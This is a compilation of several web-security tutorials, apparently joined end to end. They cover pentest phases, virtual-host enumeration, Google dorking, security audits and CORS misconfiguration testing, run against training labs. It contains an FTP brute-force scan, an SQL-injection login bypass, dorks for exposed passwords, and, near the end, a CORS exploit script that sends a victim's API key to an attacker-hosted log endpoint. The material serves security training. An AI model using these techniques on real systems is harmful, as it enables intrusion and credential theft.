To make sure that these activities are safe and secure, dev teams need to have a robust security testing framework in place. This helps identify vulnerabilities, prevent cyber threats, and maintain the integrity of digital transactions.

In this article, you will learn all about penetration testing – what it is, why each phase of the process is important, and the tools pentesters use to do their jobs.

What is Penetration Testing?

Penetration Testing is a practice used by security professionals to help companies and teams secure their data. A company gives the security pro permission to try to find vulnerabilities in their system. The security pro then reports any potential weak spots they find to the company so they can fix them. This helps these companies prevent potential attacks before hackers can get access to their data.

If a company fails to conduct pentesting, it can lead to serious consequences like policy violations, hefty compliance regulation fines, loss of customer trust, and a decline in the organization's reputation and overall business value.

There are four phases of penetration testing:

1. Reconnaissance

2. Scanning

3. Exploitation

4. Report Submission

Let’s go through each one so you can learn what’s involved in the entire process.

Reconnaissance: The Art of Information Gathering

Reconnaissance involves gathering information about the target system or network. A pentester’s goal here is to collect as much data as possible about the target, helping them understand the target’s architecture, identify potential vulnerabilities, and develop an effective attack strategy.

In reconnaissance, testing can be conducted in various ways, such as browsing social media for information about the target, using information-gathering tools like theHarvester to crawl websites related to the target domain, and more.

At this stage, all available data—whether technical or non-technical—is gathered without filtering for relevance. The goal is to collect as much information as possible, as even seemingly insignificant details can later prove useful in an attack.

Reconnaissance is crucial for a successful penetration test. So it can be a time-consuming process, often taking anywhere from a few hours to several weeks, depending on the complexity of the target.

Types of Reconnaissance

We can categorize reconnaissance into two main types based on the level of interaction with the target system:

First, we have passive reconnaissance. This involves gathering information from publicly available sources without directly interacting with the target system. Since no direct contact is made, it is stealthy and less likely to alert the target.

At this point, a question may arise: If penetration testing is conducted with prior approval from the target domain, why should we conduct passive reconnaissance to minimize direct interaction when we have the freedom to perform active reconnaissance?

Well, a penetration tester must think from an unethical hacker's perspective. Attackers often rely heavily on passive reconnaissance techniques to gather critical information without alerting the target, making it a crucial phase in ethical hacking as well.

This is why penetration testing should include passive reconnaissance. It helps identify potential information leaks, such as a target company's public announcements or employees posting coding-related doubts on platforms like Substack, which could lead to unauthorized system access.

Active Reconnaissance, on the other hand, involves direct interaction with the target system to extract specific information. Common methods include port scanning, banner grabbing, and network sniffing.

This approach provides more accurate and detailed information, but it comes with a higher risk—the tester’s IP address or digital footprint may be logged by the target system.

For the reconnaissance phase, there are numerous tools available on the internet. But a few are considered highly efficient and popular among penetration testers. Some of these include Medusa and theHarvester.

As an example here, we’ll use theHarvester to gather information on a target domain (Zudio.com) and analyze the different types of data retrieved by the tool.

You can see that the tool crawled the Brave search engine and discovered a couple of IP addresses along with additional subdomains of the target domain (Zudio.com). These findings should be properly documented and included in the target’s reconnaissance report.

Scanning: The Art of Detecting Loopholes

The information a pentester gathers during the reconnaissance phase serves as a crucial input for the scanning phase. This data helps them gain deeper insights into the target system, allowing them to pinpoint areas and filter data that require further analysis.

With a wide range of scanning tools available, pentesters utilize various techniques to:

• Identify open ports, as they can serve as potential entry points.

• Monitor network activity to detect vulnerabilities and security gaps.

Phases of Scanning

Scanning typically involves two key steps:

First, we have port scanning, which identifies open and closed ports on the target system. This helps determine which services are running and are potentially exploitable.

System Ports serve as entry points for a computer system to perform various tasks. Ensuring that all unnecessary ports are closed is crucial for security. Leaving optional ports open can create potential entry points for hackers.

You can use tools like Nmap, Netcat, Masscan for this purpose.

For better understanding, let's scan a sample target domain (192.168.13.136) using Nmap and check which service ports are open.

Next, we have vulnerability scanning, which detects weaknesses in software, configurations, and services. It helps pentesters assess the security risks associated with identified ports and services.

Let’s use the same nmap tool to detect the vulnerabilities from the identified open ports. In the scanning results, you can see that port 21 is open and this port is specifically used for File Transfer Protocol.

Here, we run Nmap on the target address (192.168.13.136) to scan FTP port 21 using the ftp-brute script. This allows us to check whether the FTP service is accessible using default usernames and passwords.

During the scan, we were able to extract additional useful information, including details about the FTP server version (vsftpd 2.3.4). This information can be valuable for identifying potential vulnerabilities in this version.

Finally, the tool successfully identified a vulnerability in the server by discovering valid usernames and passwords from the dictionary list included in the tool.

In general, reconnaissance and scanning are often overlooked by security analysts, assuming they are not important. But these phases provide a valuable dataset and a deeper understanding of the target domain. They help in filtering and directing the exploitation process, allowing penetration testers to focus on specific vulnerabilities instead of blindly attempting various exploits.

Skipping these phases leads to inefficiency, wasting time, resources, and effort. So for successful exploitation, it is essential to conduct thorough information gathering and scanning before proceeding further.

Exploitation: The Art of Attack Simulation

The outcome of the scanning phase gives pentesters a clear understanding of potential entry points, commonly referred to as “open doors”, through identified ports and services. These insights help testers determine which vulnerabilities can be exploited to simulate a real-world cyberattack.

Once vulnerabilities are identified, testers deploy various attack techniques to assess their impact. The goal is to demonstrate how a malicious hacker could gain unauthorized access and compromise the target system. Some common attack methods include:

• SQL Injection – Exploiting database vulnerabilities.

• Cross-Site Scripting (XSS) – Injecting malicious scripts into web applications.

• Buffer Overflow – Overwriting memory to execute malicious code.

• Brute Force Attacks – Cracking weak passwords for system access.

For a clearer understanding, let's explore how database vulnerabilities are exploited using SQL Injection attacks.

Let's say there is a username and password field in a login form. Typically, when a user enters their credentials, the system fetches these input values, constructs a SQL query, and sends it to the server for authentication.

SQL Injection works by manipulating this query to bypass authentication. At a basic level, an attacker can input specially crafted values to alter the query logic. For example, consider the following SQL query:

SELECT * FROM PRODUCTS WHERE USERNAME = " OR 1=1 -- " AND PASSWORD = "1234"

Let’s break down this exploit to see what’s going on:

• The OR 1=1 condition always evaluates to true, meaning the query retrieves all records from the database.

• The -- sequence is a comment operator in SQL, which ignores the rest of the query (including password verification).

As a result, the attacker gains access without valid credentials, effectively bypassing authentication.

Report Submission: The Art of Validation

The final phase of penetration testing involves reporting the vulnerabilities identified during the security test cycle. These reports are crucial for guiding the remediation process, ensuring that the company addresses any weaknesses before they can be exploited.

Penetration testing reports typically include detailed information about the attacks conducted, the respective results, and an assessment of the risks involved. Importantly, the language used in these reports is non-technical, as the findings are often shared with different teams across the organization, including:

• Management

• Higher authorities

• Non-technical teams (like HR, legal, and so on)

These reports must be easily understandable and confidential, as they may contain sensitive information about the organization’s vulnerabilities.

The report should include the following key parameters:

• Number of employees involved

• Start date and end date of the assessment

• List of target domains

• List of open ports (if any)

• List of identified vulnerabilities, categorized by risk level (Critical, High, Medium, Low, Informational)

• Preventive measures to mitigate risks

• List of tools used during the assessment

While the structure and content of these reports may vary from organization to organization, the above parameters are mandatory for a comprehensive security assessment.

The goal is to ensure that stakeholders at all levels of the organization can take appropriate action, whether it's patching a vulnerability, revising a policy, or updating a security strategy.

Conclusion

The penetration testing lifecycle is continuous and it’s something your team must perform periodically. You can’t just do it once, address those concerns, and forget about it.

As new vulnerabilities emerge with the release of updated versions of software, applications, and systems, penetration testing remains essential in identifying and addressing these new risks.

A proactive approach to security through continuous penetration testing is crucial for maintaining a safe and secure digital environment for organizations and their users.

During the testing reconnaissance phase, testers spend time on virtual host enumeration, which is the process of discovering all the virtual hosts associated with a particular IP address or domain. This helps them find hidden or undocumented assets that might be vulnerable or misconfigured.

For example, they might find a virtual host that can be accessed without authentication. This could result in unauthorized access to sensitive data.

In this article, we will discuss different ways to enumerate virtual hosts and gather information from them. We will use the HTB Academy exercise in the “Information Gathering — Web Edition” module to demonstrate the enumeration steps.

Note that this tutorial is for educational purposes only. Don't use this info to do harm – use it for good so you can make your projects more secure.

Table of Contents

• Virtual Hosting Overview
  – IP-based Hosting
  – Name-based Hosting
• Virtual Hosts Enumeration
  – Ffuf
  – Gobuster
  – Curl
• Post Enumeration
  – hakcheckurl
  – Eyewitness

Pre-requisites

Before we start enumerating virtual hosts, we need to install some tools to help us. Most of these tools run on Linux, such as Ubuntu and Kali Linux:

• Ffuf
• Gobuster
• Eyewitness
• hakcheckurl

If you don't have these installed, I'll cover the steps below.

Virtual Hosting Overview

Virtual hosting is a feature that allows a single web server to host multiple websites and have them appear as if they are hosted on separate, individual servers. This is usually done to reduce resource overhead and running costs.

There are two types of virtual hosting: IP-based and Name-based.

IP-based Hosting

This type of hosting involves configuring a web server to host multiple websites on a single server. Each hosted site is associated with a unique IP address, which can either be dedicated or shared based on the hosting configuration.

When a user tries to access a website, the server listens for the request, resolves the incoming hostname to its corresponding IP address, and then routes the request to the appropriate website based on that IP address.

Once the server identifies the intended website based on that IP address, it serves the content associated with that website to the user.

Name-based Hosting

This type of hosting involves configuring a web server to host multiple websites on a single IP address using different domain names. Each hosted website is typically associated with a unique hostname, but multiple hostnames can be related to a single website.

When a user requests to access a website, the server checks the “Host” header in the HTTP request to figure out which website the user is trying to reach. Based on the hostname provided in the Host header, the server identifies the specific website and serves the content associated with that website to the user.

Virtual Hosts Enumeration

Ffuf

Ffuf is a tool written in Go that can be installed on Kali Linux by running sudo apt-get install ffuf or downloaded from GitHub. This tool allows you to customize your fuzzing approaches.

To start searching for virtual hosts, we need to pass the IP address of the target using the -u flag and the associated domain name with the -H flag, which refers to the Host header.

Then, place the word FUZZ at the beginning of the domain to indicate the fuzzing position.

We can use different wordlists to identify virtual hosts with the -w flag. One popular wordlist is the namelist list in the Seclists wordlists, while another is the Kiterunner wordlist in Assetnotes.

ffuf -w namelist.txt -u http://10.129.184.109 -H "HOST: FUZZ.inlanefreight.htb".

Fuzzing can generate numerous results that sometimes are hard to identify as valid or invalid. Filtering down the results can save you time sifting through the output.

You can filter one response size or a list of sizes using commas to separate them with the -fs flag — like -fs 109, 208,, and so on.

fuf -w namelist.txt -u http://10.129.184.109 -H "HOST: FUZZ.inlanefreight.htb" -fs 10918

Figure 01 — Shows Ffuf finding virtual hosts with the provided wordlists.

After the fuzzing is complete, we save the output to a file. Then, we can use the grep utility to search the result for lines that contain the word “FUZZ” in the text. Below is an example of using grep to find the lines with the identified subdomains.

cat vhosts | grep 

FUZZFUZZ:ap
FUZZ:app
FUZZ:citrix

Then, we can pipe the grep output with the awk utility to extract only the identified subdomains using the print command, followed by a dollar sign and the column number. This entire command can be written in one line.

cat vhosts | grep FUZZ | awk '{print $3}'

Using a short bash script, we append our original domain name to the identified subdomains, as seen in Figure 02.

for i in $(cat vhost1); do echo $i.inlanefreight.htb ; done > vhost1

Figure 02 — Shows bash output used to append the domain name to subdomains.

Gobuster

Another way to enumerate virtual hosts is with the Gobuster tool using the vhost option. The tool can be installed in Kali by running sudo apt-get install gobuster or downloaded from GitHub.

To begin the enumeration process, we first need to provide the IP address using the -u flag and specify a wordlist with the -w flag. After that, we define the domain name and the position where the fuzzing starts.

In Gobuster, we define this information in a text file, called a pattern file, that gets passed with the -p flag. You can see an example of a pattern file in Figure 03 below.

{GOBUSTER}.inlanefreight.htb

Figure 03 shows the pattern file that specifies where to start fuzzing with Gobuster.

For filtering the output, we use the --exclude-length flag to sift through the response sizes. Multiple response sizes can be separated by commas.

gobuster vhost -u http://10.129.118.153 -w namelist.txt -p pattern --exclude-length 301 -t 10

Figure 04 — Shows using Gobuster to enumerate virtual hosts.

Curl

We can achieve the same thing with Curl and some bash scripting. The script below reads the content of the namelist file, which serves as our wordlist, and prints the message “Found Subdomain” for each subdomain it reads from the file.

cat namelist.txt | while read vhost; do echo "\n========\nFound Subdomain: ${vhost}\n=========";

Then, the curl command makes HTTP HEAD requests to the specified IP address (http://10.129.141.252), passing the subdomains from the wordlist in the Host header.

The output is piped to grep to extract the Content-length of the responses and save it in a file.

curl -s -I http://10.129.141.252 -H "HOST: ${vhost}.inlanefreight.htb" | grep "Content-Length: "; done > output

Figure 05 — shows identifying subdomains with Curl.

To search the output, we utilize the grep command again and filter for the lines that contain the text “Content-Length:”. Then, we use the uniq command to remove any duplicate lines in a text file, and the -c flag to count the number of times each unique line occurs.

cat output | grep "Content-Length:" | uniq -c

Figure 06 — shows how to use the grep and uniq commands to clean up the Curl output.

If we want to extract subdomains from the content, we can use the -B flag to display a few lines before the match. In this command, we used 4 lines to retrieve the subdomain names.

cat output | grep -B 4 "Content-Length: 103"

Figure 07 — shows the extracted subdomains with the grep command and the -B flag.

Post Enumeration

After identifying the virtual hosts, we append HTTP or HTTPS to generate a list of URLs. We can use a one-liner bash script to do that.

for i in $(cat vhost2); do echo "https://"$i; done > vhosts3

Figure 08—shows the use of a bash script to append HTTP/s to the list of identified subdomains.

This list can then be used with other tools like hakcheckurl or Eyewitness to retrieve the HTTP response codes to check for available web pages and capture screenshots.

hakcheckurl

hakcheckurl is a tool written in Go by hakluke and is available on GitHub here. The tool takes a list of URLs and returns their corresponding HTTP response codes.

To run the tool, you'll need to have Go installed. Follow the steps on Go's official site for installing it on a Linux environment.

After installation, clone the hakcheckurl repository, build the tool with go build, and rename it to hakcheckurl.

git clone https://github.com/hakluke/hakcheckurl.git

go build ./main.go

# rename the tool to hakcheckurl instead of main
mv main hakcheckurl

Figure 09 — shows the hakcheckurl tool after running the build command.

Next, we use the hakcheckurl tool to determine the HTTP response codes for each URL. In the below results, you can see that the URLs that used the HTTPS protocol were unreachable, while those that used the HTTP protocol returned 200 response codes. This indicates that the web pages using HTTP are up and running.

cat vhosts | ./hakcheckurl

Figure 10 — shows the output of the hakcheckurl tool.

Eyewitness

Once we have identified the web pages that we want to inspect, we can use Eyewitness to gather more information about the underlying infrastructure and the technologies associated with the targeted websites.

Eyewitness is a tool created by RedSiege that can capture screenshots, retrieve header information, and identify default credentials, if any are known. We can install it on Kali with sudo apt-get install eyewitness or download it from GitHub.

To run Eyewitness, we need to pass the list of URLs using the -f flag. Then, we can set a custom User-Agent string for the HTTP requests with the --user-agent flag. This can be useful for simulating requests from different browsers or client applications.

We can also, specify additional ports to check with the http and https protocol using the --add-http-ports and --add-https-ports flag. This instructs Eyewitness to connect to these ports and capture screenshots, if applicable.

eyewitness -f vhost2 --user-agent "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36" --add-http-ports 8080,8000,8088 --add-https-ports 8443,4433,4343

Figure 11 —shows Eyewitness running against a list of provided URLs.

After it runs, we get prompted to choose whether or not to open the report that has been created. If you select ‘Y’, the default web browser will open the report. If you choose ‘N’, the report will be saved to your local device.

Figure 12 — shows the Eyewitness generated HTML report.

Wrapping Up

With that we have reached the end of today’s tutorial. Throughout the article, you have discovered and explored various tools to enumerate virtual hosts. We also discussed how to use the results from these tools to expand the attack surface and gain valuable insights into the target’s infrastructure.

Thank you for taking the time to read this post. I also created a cheatsheet for you on Notion that lists all the commands we used in this post.

Resources

• Information Gathering — Web Edition — HTB Academy
• Apache IP and Name Based Virtual Hosts Explained
• Assetnote Wordlists
• SecLists Wordlists

With the crawling capabilities of Google, it can also be a powerful tool for pen testers. Google can help us find exposed files, scripts and other critical resources in web applications.

To find this type of sensitive information, hackers use specific search terms in Google. We call them Google Dorks.

Google Dorks are special search terms that help locate information which is not found through regular web searches.

In this article, we will look at what Google Dorks are and how they can help us in penetration testing.

What are Google Dorks?

A Google Dork is a special search term. These terms, when used with regular search keywords, can help us discover hidden resources crawled by Google.

These resources include sensitive information such as usernames, passwords, credit card numbers, email addresses, shell scripts, user accounts, and so on.

These Dorks are not limited to Google. We can also use them with search engines like Bing and Yahoo. The results might vary, but they still serve the same purpose.

To harness the full potential of Google Dorking, we’ll need to master some specialized search operators. These operators will fine-tune our search results and help us find exactly what we are looking for.

Let’s try a few Google dorks.

Common Google Dorks

Some of the common query operators in Google Dorking include search modifiers. These search modifiers allow us to find specific information that may not be accessible through traditional search methods.

Here are some of the most common operators used in Google Dorking.

Intitle operator

The “intitle” operator searches for web pages with specific words or phrases in the title tag. For instance, if you’re looking for pages that contain the phrase “password” and have “index of” in the title, you would use the search term:intitle:”index of” password.

In title. Image by the author.

Inurl operator

The “inurl” operator searches for web pages that contain specific words or phrases in the URL. For example, if you’re looking for pages that contain “admin.php” in the URL, you would use the search term:inurl:admin.php.

In url. Image by the author.

Site operator

The “site” operator allows you to search within a specific website or domain. For instance, if you’re looking for pages on the example.com domain that contain the word “Steganography”, you would use the search term:site:yeahhub.com “Steganography”

In site. Image by the author.

Filetype operator

The “filetype” operator allows you to search for specific file types, such as PDFs or Word documents. For example, if you’re looking for PDF files that contain the phrase “confidential report”, you would use the search term:filetype:pdf "Advanced Network Security"

Filetype. Image by the author.

Intext operator

The “intext” operator searches for pages that contain specific words or phrases within the body of the page. For instance, if you’re looking for pages that contain both the words “login” and “password” within the body of the page, you would use the search term:intext:"about" contact.

In text. Image by the author.

Link operator

The “link” operator searches for web pages that link to a specific URL. For example, if you’re looking for web pages that link to the example.com domain, you would use the search term:link:”example.com”

Link operator. Image by the author.

Cache operator

The “cache” operator is used to retrieve the cached version of a web page. When you search for a website using Google, Google creates a cached version of that page in its system. This version can be useful if the original website is temporarily down or if you want to view an older version of the website.

Here is the syntax to find the cached version of yahoo.com.cache:https://www.yahoo.com

Cached version of yahoo.com. Image by author.

Related operator

The “related” operator is used to find web pages that are related to a specific URL. Here is the syntax to use the “related” operator to find sites similar to yahoo.com.

Related operator. Image by author.

By combining these operators in creative ways, you can find specific types of information on the web that can be useful for penetration testing and other purposes.

Structure of Query Operators

Google Dorking query operators have a structure similar to regular Google search query operators. This technique involves using advanced operators and search queries to uncover information that is not typically available through regular searches.

The general structure of query operators in Google Dorking includes three elements:

1. Operator: A specific keyword or symbol that instructs Google what to search for. For instance, the “inurl” operator searches for pages that contain a particular keyword in their URL.
2. Keyword: The search term or phrase that you want to find. If you are looking for a specific password file, then “password” is your keyword.
3. Modifier: An additional search parameter that you can use to further refine your search. For example, the “filetype” modifier searches for a specific file type, such as a PDF.

Here’s an example of a query operator structure in Google Dorking: intitle: “index of” site:example.com password filetype:pdf

This query uses the “intitle” operator to search for pages with “index of” in their title, the “site” operator to search within the example.com domain, the keyword “password,” and the “filetype” modifier to search for PDF files.

By utilizing query operators in Google Dorking, we can find useful and often vulnerable information that might not be accessible through regular searches.

Google Hacking Database (GHDB)

The Google Hacking Database (GHDB) is a compilation of search queries and query operators that help us in Google Dorking.

Google hacking database. Image generated by author.

Johnny Long, a well-known security researcher and author, established the GHDB. It has since become a valuable resource for security engineers like you and me.

The GHDB has several search queries and operators that can uncover numerous sensitive files, vulnerable web servers, and applications. It can also discover default login pages and credentials, as well as network and security devices that may be prone to attack.

GHDB is arranged into categories such as “Files containing passwords” “Vulnerable servers” “Footholds” and “Error Messages”. Each category contains several search queries and operators crafted to reveal specific information about a target.

Please note that search queries and operators in the GHDB might produce false positives or outdated information. Always verify the information obtained through these search operators.

A Dorking Scenario

Let’s assume you have to conduct a pentesting audit for a client. Here is a sample dorking scenario.

1. Use the “site” operator to limit your search to the company’s website: site:example.com. This returns all pages on the example.com website.
2. Use the “intitle” operator to search for pages containing specific keywords in the title: intitle:”login” site:example.com. This helps identify potential login pages vulnerable to attack.
3. Use the “filetype” operator to search for specific file types: filetype:pdf site:example.com. This helps identify potential documents or reports containing sensitive information.
4. Use the “inurl” operator to search for specific URLs: inurl:”admin” site:example.com. This helps identify potential administrative pages vulnerable to attack.
5. Use the “cache” operator to view the cached version of a webpage Google has indexed: cache:example.com/login.php. This provides access to the page contents even if the original page is removed or no longer accessible.
6. Use the “related” operator to find similar websites: related:example.com. This helps identify potential partners or third-party vendors with access to the company’s network.

Summary

Google Dorking is a powerful technique that allows us to perform advanced searches on Google. We can use Google Dorks to find specific information and publicly exposed vulnerabilities. It is an essential tool in a pentester’s toolkit.

Google Hacking Database (GHDB) provides a collection of pre-defined Google Dorks. Given the harm that someone can cause using dorking, it is important to use it ethically and with permission. Ensure that you have permission and follow ethical guidelines when using dorking for security audits.

An internal audit is a review process initiated and carried out by an organization itself. External audits are often performed by or on behalf of banking entities or government regulatory bodies like tax authorities.

Security Audits: What's in it for You?

In theory at least, all technology audits share a few goals in common. They want to confirm that your systems are operating with acceptable levels of security and efficiency, and that they're compliant with all applicable standards.

The point isn't just to make sure all the right boxes are checked, but to genuinely look for hidden problems so you can fix them.

In that context, you should look at compliance with regulatory frameworks like the credit card industry "Payment Card Industry Data Security Standard" (known as PCI-DSS) or the US government's "Health Insurance Portability and Accountability Act" (HIPAA) as valuable opportunities.

If you can legitimately pass those standards, then you can be pretty confident that you really are doing what you can to protect the privacy and security of the data you manage. And even more important, that your systems are reasonably secured against common threats.

This article comes from my Introduction to Cybersecurity course. If you'd like, you can follow the video version here:

Security Audits: How They Work

For all intents and purposes, a formal security audit involves inspecting and testing all the systems that could impact security in one way or another.

You might, for instance, be required to demonstrate:

• That your data at rest and in transit is always encrypted
• That all servers and workstations involved in your business are properly patched
• That your networks block access to all but necessary users
• That third party vendors whose operations and products you use also comply with necessary security standards
• That you've got an effective protocol for regular data backups
• That you've got formal – and tested – emergency response and recovery plans

Well even if it's some government or bank that's pushing you to do this – and even if full compliance is very expensive – the basic goals are well aligned with your own interests, so it's definitely not a complete waste.

Security Audit Tools

Let me quickly describe three categories of auditing tools.

Processing and parsing system logs

Whether your infrastructure stack lives in the cloud, on premise, or both, over time, you're regularly going to be generating gigabytes of boring data.

The only way to make sense of the mess is by streaming it through analytics scripts that can filter out the noise generated by millions of normal events, and find serious events. Good log monitoring systems (which include Splunk, Nagios, Syslog-ng, and Datadog) can be configured to send alerts when possible problems are detected, or even trigger automatic fixes.

If you're running anything more complicated than a WordPress website and a few laptops, then you'll probably need some kind of monitoring process. One low-level form of monitoring is an intrusion detection system (IDS).

An IDS is software you install on a server whose function is to constantly monitor the state of pre-set system and configuration files. If a target file is updated or deleted – potentially an indication that there's unauthorized activity going on – the IDS will send an alert to one or more admins. Once you've fine-tuned your IDS so it's not sending you annoying false-positives all the time, it can be an effective first-line of defense.

Installing and configuring IDS software can be a lot easier than you might think. Popular packages include Snort and Security Onion.

Penetration testing

A pen tester is usually an independent consultant hired by an organization to attempt to hack into their internal systems.

In other words, pen testers are given explicit legal permission to do exactly what criminal hackers would do – without causing permanent damage, of course.

Using attack software suites like OWASP ZAP or Metasploit, pen testers search for and then exploit vulnerabilities in an organization's systems. The further in a tester can penetrate, the more dangerous are the discovered vulnerabilities, and the more work you'll have to do to fix them.

Pen testing is expensive and sometimes even disruptive. But not nearly as much as suffering the same intrusions by and actual malicious hacker.

Another form of pen testing involves dividing your admins and engineers into red team attackers and blue team defenders for attack simulations. The teams compete to test how robust your defences are.

Deploying a full pen test can be complicated. More often than not, organizations will engage with third party providers to plan and carry out a test.

Vulnerability assessments

These are a less invasive form of pen testing. Rather than trying to breach your networks and servers, vulnerability testers will instead scan your network from the outside looking for open ports and unpatched software. They'll also search the internet for information your employees might have inadvertently left on public platforms that could provide hints to active credentials or the secret sauce used by your software applications.

How might that work? Well free software exists (like OpenVAS and Burp Suite) that will, for instance, harvest data from job ads you might have placed on LinkedIn – especially from the "required skills" sections.

Such software can also survey public posts from your team members, assessing the topics of interest in their Stack Overflow questions and answers. If this stuff is out there, you'll want to know about it.

Wrapping Up

Security audits are a very big deal. Whether you're running them to satisfy some regulatory requirements or to protect your assets – or both – you definitely want to take them seriously.

This article and the accompanying video are excerpted from my Introduction to Cybersecurity course. And there's much more technology goodness available at bootstrap-it.com

The SOP policy helps protect users from malicious scripts that could access their sensitive data or perform unauthorized actions on their behalf.

For example, if **business.com** tries to make an HTTP request to **metrics.com**, the browser, by default, will block the request because it comes from a different domain.

As much as the SOP sounds like a proper protection policy, it doesn’t scale well in today’s technologies that depend on each other for operation. For example, it presents challenges to APIs and microservices which have legitimate use cases for accessing and sharing information between domains.

Because of cases like this, there was a need for a new security mechanism that would allow for cross-domain interactions. It's known as Cross-Origin Resource Sharing (CORS).

This article will cover the basics of how CORS works and identify common vulnerabilities that can occur when you don't implement CORS correctly. We will also learn how to test and exploit the misconfigurations so that by the end of this guide, you will have a better understanding of how to test and validate for CORS during a pentest assessment.

I will use the Port Swigger CORS labs to demonstrate the testing and exploitation steps.

Table of Contents

• What is Cross-Site Origin Policy (CORS)?
• Impact of CORS Misconfigurations
• How to Identify CORS
• Exploitable Cases
• Unexploitable Case
• Mitigations
• Resources

What is Cross-Site Origin Policy (CORS)?

CORS is a security feature created to selectively relax the SOP restrictions and enable controlled access to resources from different domains. CORS rules allow domains to specify which domains can request information from them by adding specific HTTP headers in the response.

There are several HTTP headers related to CORS, but we are interested in the two related to the commonly seen vulnerabilities — **Access-Control-Allow-Origin** and **Access-Control-Allow-Credentials**.

Access-Control-Allow-Origin: This header specifies the allowed domains to read the response contents. The value can be either a wildcard character **(*)**, which indicates all domains are allowed, or a comma-separated list of domains.

#All domain are allowed
Access-Control-Allow-Origin: *   


#comma-separated list of domains
Access-Control-Allow-Origin: example.com, metrics.com

Access-Control-Allow-Credentials: This header determines whether the domain allows for passing credentials — such as cookies or authorization headers in the cross-origin requests.

The value of the header is either True or False. If the header is set to “true,” the domain allows sending credentials. If it is set to “false,” or not included in the response, then it is not allowed.

#allow passing credenitals in the requests
Access-Control-Allow-Credentials: true

#Disallow passing in the requests
Access-Control-Allow-Credentials: false

Impact of CORS Misconfigurations

CORS misconfigurations can have a significant impact on the security of web applications. Below are the main implications:

• Data Theft: Attackers can use CORS vulnerabilities to steal sensitive data from applications like API keys, SSH keys, Personal identifiable information (PII), or users’ credentials.
• Cross-Site Scripting (XSS): Attackers can use CORS vulnerabilities to perform XSS attacks by injecting malicious scripts into web pages to steal session tokens or perform unauthorized actions on behalf of the user.
• Remote Code Execution in some cases (StackStorm case)

How to Identify CORS

When testing an application for CORS, we check if any of the application’s responses contain the CORS headers. We can use the search functionality in Burp Suite to search for the headers quickly.

In the example below, I searched for the **Access-Control-Allow-Credentials** header and got three (3) responses back. Once the headers are identified, we can select the requests and send them to Repeater for further analysis.

Figures 1 & 2 show the search functionality in Burp Suite to look for CORS headers.

To identify CORS issues, we can modify the Origin header in the requests with multiple values and see what response headers we get back from the application. There are four (4) known ways to do this, which we'll go over now.

1. Reflected Origins

Set the Origin header in the request to an arbitrary domain, such as [**https://attackersdomain.com**](https://attackersdomain.com./), and check the **Access-Control-Allow-Origin** header in the response. If it reflects the exact domain you supplied in the request, it means the domain doesn’t filter for any origins.

The risk of this misconfiguration is high if the domain allows for credentials to be passed in the requests. We can validate that by checking if the **Access-Control-Allow-Credentials** header is also included in the response and is set to **true**.

However, the risk is low if passing credentials is not allowed, as the browser will not process the responses from authenticated requests.

📌 To exploit reflected origins, check the exploitation section — Case #1.

Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header.

2. Modified Origins

Set the Origin header to a value that matches the targeted domain, but add a prefix or suffix to the domain to check if there is any validation on the beginnings or ends of the domain.

If no checks are in place, we can create a similar matching domain that bypasses the CORS policy on the targeted domain. For example, adding a prefix or suffix to the **metrics.com** domain would be something like **attackmetrics.com** or **metrics.com.attack.com**.

The risk of this misconfiguration is considered high if the domain allows for passing credentials with the **Access-Control-Allow-Credentials** header set to true. The attacker can create a similar matching domain and retrieve sensitive information from the targeted domain.

But the risk would be low if authenticated requests were not allowed.

📌To exploit modified origins, check the exploitation section — Case #1.

3. Trusted subdomains with Insecure Protocol.

Set the Origin header to an existing subdomain and see if it accepts it. If it does, it means the domain trusts all its subdomains. This is not a good idea because if one of the subdomains has a Cross-Site Scripting (XSS) vulnerability, it will allow the attacker to inject a malicious JS payload and perform unauthorized actions.

This misconfiguration is considered high risk if the domain accepts subdomains with an insecure protocol, such as HTTP, and the credential header is set to true. Otherwise, it will not be exploitable and would be only a poor CORS implementation.

📌 To exploit trusted subdomains, check the exploitation section — Case #3.

Figure 4 — shows the application accepts arbitrary insecure subdomains.

4. Null Origin

Set the Origin header to the null value — **Origin: null**, and see if the application sets **the Access-Control-Allow-Origin** header to null. If it does, it means that null origins are whitelisted.

The risk level is considered high if the domain allows for authenticated requests with the **Access-Control-Allow-Credentials** header set to **true**.

But if it does not, then the issue is considered low, and not exploitable.

📌 To exploit Null Origins, check the exploitation section- Case #2.

Figure 5 — shows the application accepted the null value and returned it in the response.

Exploitable CORS Cases

In this section, we will go over how to exploit the CORS misconfigurations by categorizing them into test cases for easy understanding.

Case 1: Reflected Origin

The application is considered vulnerable when it sets the Access-Control-Allow-Origin to the attacker’s supplied domain and enables passing credentials with the Access-Control-Allow-Credentials set to true.

Access-Control-Allow-Origin: http://attacker-domain.com
Access-Control-Allow-Credentials: true

Figure 6 — shows the CORS headers for reflected origin.

The exploitation requires the attacker to host the JS script on an external server to be accessible to the user. Then they have to create an HTML page, embed the JS script below, and send it to the user.

<html>
  <body>
    <script>

    #Initialize the XMLHttpRequest object, and the application URL vairable 
        var req = new XMLHttpRequest();
        var url = ("APPLICATION URL");

    #MLHttpRequest object loads, exectutes reqListener() function
      req.onload = retrieveKeys;

    #Make GET request to the application accounDetails location
        req.open('GET', url + "/accountDetails",true);

    #Allow passing credentials with the requests
    req.withCredentials = true;

    #Send the request 
        req.send(null);

    function retrieveKeys() {
            location='/log?key='+this.responseText;
        };

  </script>
  <body>
</html>

Once the user visits your hosted page, it will automatically submit a CORS request to retrieve information about the user from the location specified in the script. Understanding the application structure and where it stores its sensitive information is essential for this step.

The above script starts with initializing the **XMLHttpRequest** (XHR) object to instruct the web browser that we will transfer data to and from a web server using the HTTP protocol. XHR is a browser API that allows client-side scripting languages such as JavaScript to make HTTP requests to a server and receive their responses dynamically without requiring the user to refresh the page.

Then, we instruct the object to execute a function called retrieveKeys that fetches the admin API key and sends the response to us when it loads.

Next, we make a GET request specifying the location from which we want to retrieve information and pass our credentials with the Credentials function set to true.

The request will automatically get blocked and denied if the application server doesn’t allow passing credentials between domains. But we know that this won’t happen here because the **access-Control-Allow-Credentials** is set to true.

To demonstrate how the script works, I’ll use the exploit server PortSwigger has available with the lab to host the above script.

Login into the application, click the “Go to exploit server,” and paste the script in the body. Then click on “Deliver exploit to victim.” In a real scenario, you need to send the link to the user and try to entice them to click it.

Figures 7 & 8 — show the process of hosting the JS payload and delivering it to the user.

